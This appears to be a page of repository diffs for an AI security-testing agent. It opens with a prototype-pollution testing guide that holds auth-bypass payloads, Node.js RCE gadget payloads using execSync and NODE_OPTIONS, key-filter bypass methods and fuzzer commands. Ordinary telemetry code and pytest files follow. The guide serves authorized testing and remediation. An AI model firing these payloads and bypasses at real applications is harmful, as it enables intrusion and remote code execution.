- Bypass auth checks reading `user.isAdmin` when polluted on prototype
|
||||
- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
|
||||
- Cookie/session manipulation if app reads config from polluted defaults
|
||||
|
||||
**Payload Shapes**
|
||||
```json
|
||||
{"__proto__": {"isAdmin": true}}
|
||||
{"constructor": {"prototype": {"isAdmin": true}}}
|
||||
{"__proto__.polluted": "yes"}
|
||||
```
|
||||
|
||||
**URL-encoded (qs-style)**
|
||||
```
|
||||
?__proto__[isAdmin]=true
|
||||
?constructor[prototype][isAdmin]=true
|
||||
```
|
||||
|
||||
### Server-Side Prototype Pollution (Node.js)
|
||||
|
||||
**Common Sinks**
|
||||
- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
|
||||
- Express/query parsers accepting nested objects
|
||||
- YAML `load()` (not `safeLoad`) with prototype keys
|
||||
- JSON.parse → merge into existing object without null prototype
|
||||
|
||||
**RCE Gadget Chains (Node.js)**
|
||||
Pollute properties consumed by child_process, template engines, or require paths:
|
||||
```json
|
||||
{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
|
||||
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
|
||||
```
|
||||
|
||||
Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
|
||||
|
||||
### Filter Bypasses
|
||||
|
||||
**Key Sanitization Bypasses**
|
||||
- Unicode normalization: `__proto__` variants, fullwidth underscores
|
||||
- Nested forms: `constructor.prototype` instead of `__proto__`
|
||||
- Array pollution: `__proto__[0]`, `[].__proto__`
|
||||
- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
|
||||
|
||||
**Freeze/Seal Gaps**
|
||||
- Pollution before `Object.freeze` on instance but not prototype
|
||||
- Pollution affecting newly created objects after merge
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
|
||||
2. **Baseline probe** — Inject benign pollution marker:
|
||||
```json
|
||||
{"__proto__": {"strixPolluted": "yes"}}
|
||||
```
|
||||
Verify via response behavior, error messages, or follow-up request reading shared state
|
||||
3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
|
||||
4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
|
||||
5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
|
||||
6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
|
||||
2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
|
||||
3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
|
||||
4. Document exact merge function and input path (parameter name, content-type)
|
||||
5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
|
||||
|
||||
## False Positives
|
||||
|
||||
- Parser strips `__proto__` before merge — marker property never appears on prototype
|
||||
- Framework uses `Object.create(null)` for options objects throughout
|
||||
- Polluted key visible in JSON echo but never merged into object graph
|
||||
- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
|
||||
- WAF blocks payload but alternate encoding also blocked consistently
|
||||
|
||||
## Bypass Methods
|
||||
|
||||
- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
|
||||
- Use array notation: `__proto__[key]`, `[].__proto__.key`
|
||||
- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
|
||||
- Split pollution across multiple parameters merged sequentially
|
||||
- Second-order pollution: store payload, trigger merge in background job or export pipeline
|
||||
|
||||
## Impact
|
||||
|
||||
- Authentication/authorization bypass via polluted flag checks
|
||||
- DOM XSS and session compromise in browsers
|
||||
- Remote code execution on Node.js through known gadget chains
|
||||
- Denial of service via polluting widely read prototype properties
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
|
||||
2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
|
||||
3. Check both request parsing and response template config merges (second-order)
|
||||
4. Node gadget chains are version-specific — confirm package version before claiming RCE
|
||||
5. Combine with client-side template injection if polluted keys flow into rendering config
|
||||
|
||||
## Tooling
|
||||
|
||||
Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
|
||||
|
||||
- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
|
||||
- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
|
||||
- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
|
||||
|
||||
For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
|
||||
|
||||
## Summary
|
||||
|
||||
Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.
|
||||
@@ -123,6 +123,8 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
|
||||
)
|
||||
|
||||
|
||||
def error(error_type: str) -> None:
|
||||
def error(error_type: str, error_msg: str | None = None) -> None:
|
||||
props = {**base_props(), "error_type": error_type}
|
||||
if error_msg:
|
||||
props["error_msg"] = error_msg
|
||||
_send("error", props)
|
||||
|
||||
@@ -129,10 +129,12 @@ def end(report_state: ReportState, exit_reason: str = "completed") -> None:
|
||||
)
|
||||
|
||||
|
||||
def error(error_type: str) -> None:
|
||||
def error(error_type: str, error_msg: str | None = None) -> None:
|
||||
props: dict[str, Any] = {
|
||||
**base_props(),
|
||||
"session": SESSION_ID,
|
||||
"error_type": error_type,
|
||||
}
|
||||
if error_msg:
|
||||
props["error_msg"] = error_msg
|
||||
_send("error", props)
|
||||
|
||||
@@ -1,178 +0,0 @@
|
||||
"""Tests for strix.config.loader: JSON overrides, alias resolution, persistence."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import pytest
|
||||
from pydantic import AliasChoices, Field
|
||||
from pydantic.fields import FieldInfo
|
||||
|
||||
from strix.config import loader
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
_LLM_ENV_KEYS = [
|
||||
"STRIX_LLM",
|
||||
"LLM_API_KEY",
|
||||
"OPENAI_API_KEY",
|
||||
"LLM_API_BASE",
|
||||
"OPENAI_API_BASE",
|
||||
"OPENAI_BASE_URL",
|
||||
"LITELLM_BASE_URL",
|
||||
"OLLAMA_API_BASE",
|
||||
"STRIX_REASONING_EFFORT",
|
||||
"LLM_TIMEOUT",
|
||||
"PERPLEXITY_API_KEY",
|
||||
# RuntimeSettings
|
||||
"STRIX_IMAGE",
|
||||
"STRIX_RUNTIME_BACKEND",
|
||||
"STRIX_MAX_LOCAL_COPY_MB",
|
||||
# TelemetrySettings
|
||||
"STRIX_TELEMETRY",
|
||||
]
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_loader_state(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
"""Reset module globals and clear known env vars for deterministic runs."""
|
||||
for key in _LLM_ENV_KEYS:
|
||||
monkeypatch.delenv(key, raising=False)
|
||||
monkeypatch.setattr(loader, "_cached", None)
|
||||
monkeypatch.setattr(loader, "_override", None)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# _read_json_overrides
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
|
||||
def test_read_json_overrides_missing_file(tmp_path: Path) -> None:
|
||||
assert loader._read_json_overrides(tmp_path / "nope.json") == {}
|
||||
|
||||
|
||||
def test_read_json_overrides_corrupt_json(tmp_path: Path) -> None:
|
||||
path = tmp_path / "cli-config.json"
|
||||
path.write_text("{not valid json", encoding="utf-8")
|
||||
assert loader._read_json_overrides(path) == {}
|
||||
|
||||
|
||||
def test_read_json_overrides_non_dict_env(tmp_path: Path) -> None:
|
||||
path = tmp_path / "cli-config.json"
|
||||
path.write_text(json.dumps({"env": ["not", "a", "dict"]}), encoding="utf-8")
|
||||
assert loader._read_json_overrides(path) == {}
|
||||
|
||||
|
||||
def test_read_json_overrides_maps_to_nested_settings(tmp_path: Path) -> None:
|
||||
path = tmp_path / "cli-config.json"
|
||||
path.write_text(
|
||||
json.dumps({"env": {"STRIX_LLM": "my-model", "PERPLEXITY_API_KEY": "pk"}}),
|
||||
encoding="utf-8",
|
||||
)
|
||||
assert loader._read_json_overrides(path) == {
|
||||
"llm": {"model": "my-model"},
|
||||
"integrations": {"perplexity_api_key": "pk"},
|
||||
}
|
||||
|
||||
|
||||
def test_read_json_overrides_skips_keys_already_in_environ(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "from-env")
|
||||
path = tmp_path / "cli-config.json"
|
||||
path.write_text(json.dumps({"env": {"STRIX_LLM": "from-file"}}), encoding="utf-8")
|
||||
# env wins -> the JSON value is not surfaced as an init kwarg.
|
||||
assert loader._read_json_overrides(path) == {}
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# _aliases_for
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
|
||||
def test_aliases_for_simple_alias() -> None:
|
||||
finfo = FieldInfo(alias="SIMPLE_ALIAS")
|
||||
assert loader._aliases_for(finfo) == ["SIMPLE_ALIAS"]
|
||||
|
||||
|
||||
def test_aliases_for_alias_choices() -> None:
|
||||
finfo: FieldInfo = Field( # type: ignore[assignment]
|
||||
default=None,
|
||||
validation_alias=AliasChoices("FIRST", "SECOND"),
|
||||
)
|
||||
assert loader._aliases_for(finfo) == ["FIRST", "SECOND"]
|
||||
|
||||
|
||||
def test_aliases_for_string_validation_alias() -> None:
|
||||
finfo: FieldInfo = Field(default=None, validation_alias="STR_ALIAS") # type: ignore[assignment]
|
||||
assert loader._aliases_for(finfo) == ["STR_ALIAS"]
|
||||
|
||||
|
||||
def test_aliases_for_no_alias() -> None:
|
||||
assert loader._aliases_for(FieldInfo()) == []
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# apply_config_override + load_settings round-trip
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
|
||||
def test_apply_override_and_load_settings_round_trip(tmp_path: Path) -> None:
|
||||
path = tmp_path / "cli-config.json"
|
||||
path.write_text(
|
||||
json.dumps({"env": {"STRIX_LLM": "round-trip-model", "PERPLEXITY_API_KEY": "pk"}}),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
loader.apply_config_override(path)
|
||||
settings = loader.load_settings()
|
||||
|
||||
assert settings.llm.model == "round-trip-model"
|
||||
assert settings.integrations.perplexity_api_key == "pk"
|
||||
# Second call is memoized -> same object.
|
||||
assert loader.load_settings() is settings
|
||||
|
||||
|
||||
def test_apply_config_override_invalidates_cache(tmp_path: Path) -> None:
|
||||
first = tmp_path / "first.json"
|
||||
first.write_text(json.dumps({"env": {"STRIX_LLM": "first-model"}}), encoding="utf-8")
|
||||
second = tmp_path / "second.json"
|
||||
second.write_text(json.dumps({"env": {"STRIX_LLM": "second-model"}}), encoding="utf-8")
|
||||
|
||||
loader.apply_config_override(first)
|
||||
assert loader.load_settings().llm.model == "first-model"
|
||||
|
||||
loader.apply_config_override(second)
|
||||
assert loader.load_settings().llm.model == "second-model"
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
# persist_current
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
|
||||
def test_persist_current_writes_env_block(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "persisted-model")
|
||||
target = tmp_path / "sub" / "cli-config.json"
|
||||
loader.apply_config_override(target)
|
||||
|
||||
loader.persist_current()
|
||||
|
||||
assert target.exists()
|
||||
assert json.loads(target.read_text(encoding="utf-8")) == {
|
||||
"env": {"STRIX_LLM": "persisted-model"}
|
||||
}
|
||||
|
||||
|
||||
def test_persist_current_sets_0600_mode(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "persisted-model")
|
||||
target = tmp_path / "cli-config.json"
|
||||
loader.apply_config_override(target)
|
||||
|
||||
loader.persist_current()
|
||||
|
||||
assert target.stat().st_mode & 0o777 == 0o600
|
||||
@@ -1,114 +0,0 @@
|
||||
"""Tests for pure input builders in strix.core.inputs."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from itertools import pairwise
|
||||
from typing import Any
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.core.inputs import build_root_task, child_initial_input
|
||||
|
||||
|
||||
def _child_kwargs(parent_history: list[Any]) -> dict[str, Any]:
|
||||
return {
|
||||
"name": "scout",
|
||||
"child_id": "agent-2",
|
||||
"parent_id": "agent-1",
|
||||
"task": "Audit the login flow.",
|
||||
"parent_history": parent_history,
|
||||
}
|
||||
|
||||
|
||||
def test_child_initial_input_single_message_without_history() -> None:
|
||||
result = child_initial_input(**_child_kwargs([]))
|
||||
|
||||
assert len(result) == 1
|
||||
assert result[0]["role"] == "user"
|
||||
content = result[0]["content"]
|
||||
assert "agent scout (agent-2)" in content
|
||||
assert "Audit the login flow." in content
|
||||
assert "Inherited context" not in content
|
||||
|
||||
|
||||
def test_child_initial_input_single_message_with_history() -> None:
|
||||
history = [{"role": "assistant", "content": "previous work"}]
|
||||
result = child_initial_input(**_child_kwargs(history))
|
||||
|
||||
assert len(result) == 1
|
||||
assert result[0]["role"] == "user"
|
||||
content = result[0]["content"]
|
||||
assert "Inherited context from parent" in content
|
||||
assert "previous work" in content
|
||||
assert "agent scout (agent-2)" in content
|
||||
assert "Audit the login flow." in content
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"parent_history",
|
||||
[[], [{"role": "assistant", "content": "previous work"}]],
|
||||
)
|
||||
def test_child_initial_input_no_consecutive_same_role(parent_history: list[Any]) -> None:
|
||||
result = child_initial_input(**_child_kwargs(parent_history))
|
||||
|
||||
roles = [msg["role"] for msg in result]
|
||||
assert all(prev != nxt for prev, nxt in pairwise(roles))
|
||||
|
||||
|
||||
def test_build_root_task_empty_config() -> None:
|
||||
assert build_root_task({}) == ""
|
||||
|
||||
|
||||
def test_build_root_task_repository_target() -> None:
|
||||
config = {
|
||||
"targets": [
|
||||
{
|
||||
"type": "repository",
|
||||
"details": {
|
||||
"target_repo": "https://example.com/repo.git",
|
||||
"cloned_repo_path": "/workspace/repo",
|
||||
"workspace_subdir": "repo",
|
||||
},
|
||||
},
|
||||
],
|
||||
}
|
||||
task = build_root_task(config)
|
||||
|
||||
assert "Repositories:" in task
|
||||
assert "/workspace/repo" in task
|
||||
assert "https://example.com/repo.git" in task
|
||||
|
||||
|
||||
def test_build_root_task_web_application_with_instructions() -> None:
|
||||
config = {
|
||||
"targets": [
|
||||
{"type": "web_application", "details": {"target_url": "https://app.example.com"}},
|
||||
],
|
||||
"user_instructions": "Focus on auth.",
|
||||
}
|
||||
task = build_root_task(config)
|
||||
|
||||
assert "URLs:" in task
|
||||
assert "https://app.example.com" in task
|
||||
assert "Special instructions: Focus on auth." in task
|
||||
|
||||
|
||||
def test_build_root_task_diff_scope() -> None:
|
||||
config = {
|
||||
"targets": [],
|
||||
"diff_scope": {
|
||||
"active": True,
|
||||
"repos": [
|
||||
{
|
||||
"workspace_subdir": "repo",
|
||||
"analyzable_files_count": 3,
|
||||
"deleted_files_count": 2,
|
||||
},
|
||||
],
|
||||
},
|
||||
}
|
||||
task = build_root_task(config)
|
||||
|
||||
assert "Scope Constraints:" in task
|
||||
assert "3 changed file(s)" in task
|
||||
assert "2 deleted file(s)" in task
|
||||
@@ -0,0 +1,62 @@
|
||||
"""Tests for LLM model recommendation helpers."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.config.models import RECOMMENDED_MODEL_NAMES, is_recommended_or_frontier_model
|
||||
|
||||
|
||||
@pytest.mark.parametrize("model_name", RECOMMENDED_MODEL_NAMES)
|
||||
def test_recommended_models_are_accepted(model_name: str) -> None:
|
||||
assert is_recommended_or_frontier_model(model_name)
|
||||
|
||||
|
||||
def test_recommended_models_are_matched_case_insensitively() -> None:
|
||||
assert is_recommended_or_frontier_model("Vertex_AI/Gemini-3-Pro-Preview")
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model_name",
|
||||
[
|
||||
"gpt-5.5",
|
||||
"litellm/openai/gpt-5.4-pro",
|
||||
"azure_ai/gpt-5.5-pro",
|
||||
"bedrock_mantle/openai.gpt-5.5",
|
||||
"anthropic/claude-opus-4-8",
|
||||
"anthropic.claude-opus-4-8",
|
||||
"vertex_ai/claude-sonnet-4-6@default",
|
||||
"any-llm/anthropic/claude-sonnet-4-6",
|
||||
"vertex_ai/gemini-3.1-pro-preview",
|
||||
"openrouter/google/gemini-3.1-pro-preview",
|
||||
"xai/grok-4.3",
|
||||
"openrouter/x-ai/grok-4",
|
||||
"deepseek/deepseek-v4-pro",
|
||||
"deepseek/deepseek-r1-0528",
|
||||
"deepseek/deepseek-reasoner",
|
||||
"dashscope/qwen3-max-2026-01-23",
|
||||
"qwen3.7-max",
|
||||
"moonshot/kimi-k2.6",
|
||||
"kimi-k2.7-code",
|
||||
"mistral/mistral-medium-3-5",
|
||||
"mistral/magistral-medium-latest",
|
||||
],
|
||||
)
|
||||
def test_frontier_model_families_are_accepted(model_name: str) -> None:
|
||||
assert is_recommended_or_frontier_model(model_name)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model_name",
|
||||
[
|
||||
"",
|
||||
"openai/gpt-4.1",
|
||||
"anthropic/claude-3-5-sonnet-latest",
|
||||
"ollama/llama3.1",
|
||||
"deepseek/deepseek-chat",
|
||||
"custom-ollama/gpt-5-mini-local",
|
||||
"custom-provider/claude-opus-4-local",
|
||||
],
|
||||
)
|
||||
def test_non_frontier_models_are_rejected(model_name: str) -> None:
|
||||
assert not is_recommended_or_frontier_model(model_name)
|
||||
@@ -1,84 +0,0 @@
|
||||
"""Tests for graceful handling of persistent RateLimitError in run_strix_scan."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import types
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from openai import RateLimitError
|
||||
|
||||
import strix.tools.notes.tools as notes_tools
|
||||
import strix.tools.todo.tools as todo_tools
|
||||
from strix.core import runner
|
||||
from strix.core.agents import AgentCoordinator
|
||||
|
||||
|
||||
def _make_rate_limit_error() -> RateLimitError:
|
||||
request = httpx.Request("POST", "https://api.openai.com/v1/responses")
|
||||
response = httpx.Response(status_code=429, request=request)
|
||||
return RateLimitError("rate limited", response=response, body=None)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_persistent_rate_limit_stops_gracefully(
|
||||
monkeypatch: pytest.MonkeyPatch, tmp_path: Any, caplog: pytest.LogCaptureFixture
|
||||
) -> None:
|
||||
"""A persistent RateLimitError stops the scan (root -> 'stopped') without raising."""
|
||||
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
|
||||
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
|
||||
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
|
||||
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
|
||||
|
||||
settings = types.SimpleNamespace(
|
||||
llm=types.SimpleNamespace(model="openai/gpt-4o", reasoning_effort="high")
|
||||
)
|
||||
monkeypatch.setattr(runner, "load_settings", lambda: settings)
|
||||
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
|
||||
monkeypatch.setattr(
|
||||
runner, "uses_chat_completions_tool_schema", lambda _model, _settings: False
|
||||
)
|
||||
|
||||
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
|
||||
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
|
||||
|
||||
async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
|
||||
return {"client": object(), "session": object(), "caido_client": None}
|
||||
|
||||
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
|
||||
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
|
||||
|
||||
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
|
||||
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
|
||||
monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
|
||||
monkeypatch.setattr(runner, "build_strix_agent", lambda **_kwargs: object())
|
||||
monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
|
||||
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
|
||||
|
||||
async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
|
||||
raise _make_rate_limit_error()
|
||||
|
||||
monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
|
||||
with caplog.at_level(logging.WARNING):
|
||||
result = await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-test",
|
||||
image="img",
|
||||
coordinator=coordinator,
|
||||
)
|
||||
|
||||
assert result is None
|
||||
root_ids = [aid for aid, parent in coordinator.parent_of.items() if parent is None]
|
||||
assert len(root_ids) == 1
|
||||
assert coordinator.statuses[root_ids[0]] == "stopped"
|
||||
# the resume hint must carry the real scan id, not a literal placeholder
|
||||
assert "strix --resume scan-test" in caplog.text
|
||||
assert "<run_name>" not in caplog.text
|
||||
Reference in New Issue
Block a user